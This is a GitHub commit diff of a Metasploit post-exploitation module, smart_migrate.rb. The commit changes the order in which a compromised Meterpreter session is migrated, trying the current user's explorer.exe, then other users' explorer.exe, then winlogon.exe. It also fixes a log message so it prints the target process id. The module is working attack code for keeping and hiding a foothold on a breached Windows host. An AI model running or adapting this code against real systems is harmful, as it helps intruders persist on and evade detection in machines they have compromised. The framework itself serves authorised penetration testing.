Skip to content

Commit c9799c1

Browse files
committed
Land rapid7#2212 - Change migrate order & print target_pid
2 parents e6836c0 + 73e9bf9 commit c9799c1

File tree

1 file changed

+46
-45
lines changed

1 file changed

+46
-45
lines changed

modules/post/windows/manage/smart_migrate.rb

Lines changed: 46 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -10,59 +10,60 @@
1010

1111
class Metasploit3 < Msf::Post
1212

13-
def initialize(info={})
14-
super( update_info( info,
15-
'Name' => 'Windows Manage Smart Process Migration',
16-
'Description' => %q{ This module will migrate a Meterpreter session.
17-
It will first attempt to migrate to winlogon.exe . If that fails it will
18-
then look at all of the explorer.exe processes. If there is one that exists
19-
for the user context the session is already in it will try that. Failing that it will fall back
20-
and try any other explorer.exe processes it finds},
21-
'License' => MSF_LICENSE,
22-
'Author' => [ 'thelightcosine'],
23-
'Platform' => [ 'win' ],
24-
'SessionTypes' => [ 'meterpreter' ]
25-
))
13+
def initialize(info={})
14+
super( update_info( info,
15+
'Name' => 'Windows Manage Smart Process Migration',
16+
'Description' => %q{ This module will migrate a Meterpreter session.
17+
It will first attempt to migrate to explorer.exe for the current user. Failing that,
18+
it will attempt any other explorer.exe processes. Finally it will fall back to winlogon.exe},
19+
'License' => MSF_LICENSE,
20+
'Author' => [ 'thelightcosine'],
21+
'Platform' => [ 'win' ],
22+
'SessionTypes' => [ 'meterpreter' ]
23+
))
2624

2725

28-
end
26+
end
2927

30-
def run
31-
server = client.sys.process.open
32-
original_pid = server.pid
33-
print_status("Current server process: #{server.name} (#{server.pid})")
28+
def run
29+
server = client.sys.process.open
30+
original_pid = server.pid
31+
print_status("Current server process: #{server.name} (#{server.pid})")
3432

35-
uid = client.sys.config.getuid
33+
uid = client.sys.config.getuid
3634

37-
processes = client.sys.process.get_processes
35+
processes = client.sys.process.get_processes
3836

39-
uid_explorer_procs = []
40-
explorer_procs = []
41-
winlogon_procs = []
42-
processes.each do |proc|
43-
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
44-
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
45-
winlogon_procs << proc if proc['name'] == "winlogon.exe"
46-
end
37+
uid_explorer_procs = []
38+
explorer_procs = []
39+
winlogon_procs = []
40+
processes.each do |proc|
41+
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
42+
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
43+
winlogon_procs << proc if proc['name'] == "winlogon.exe"
44+
end
4745

48-
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
49-
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
50-
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
46+
print_status "Attempting to move into explorer.exe for current user..."
47+
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
48+
print_status "Attempting to move into explorer.exe for other users..."
49+
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
50+
print_status "Attempting to move into winlogon.exe"
51+
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
5152

52-
print_error "Was unable to sucessfully migrate into any of our likely candidates"
53-
end
53+
print_error "Was unable to sucessfully migrate into any of our likely candidates"
54+
end
5455

5556

56-
def attempt_migration(target_pid)
57-
begin
58-
print_good("Migrating to #{target_pid}")
59-
client.core.migrate(target_pid)
60-
print_good("Successfully migrated to process #{}")
61-
return true
62-
rescue ::Exception => e
63-
print_error("Could not migrate in to process.")
64-
print_error(e.to_s)
65-
return false
66-
end
67-
end
57+
def attempt_migration(target_pid)
58+
begin
59+
print_good("Migrating to #{target_pid}")
60+
client.core.migrate(target_pid)
61+
print_good("Successfully migrated to process #{target_pid}")
62+
return true
63+
rescue ::Exception => e
64+
print_error("Could not migrate in to process.")
65+
print_error(e.to_s)
66+
return false
67+
end
68+
end
6869
end

0 commit comments

Comments
 (0)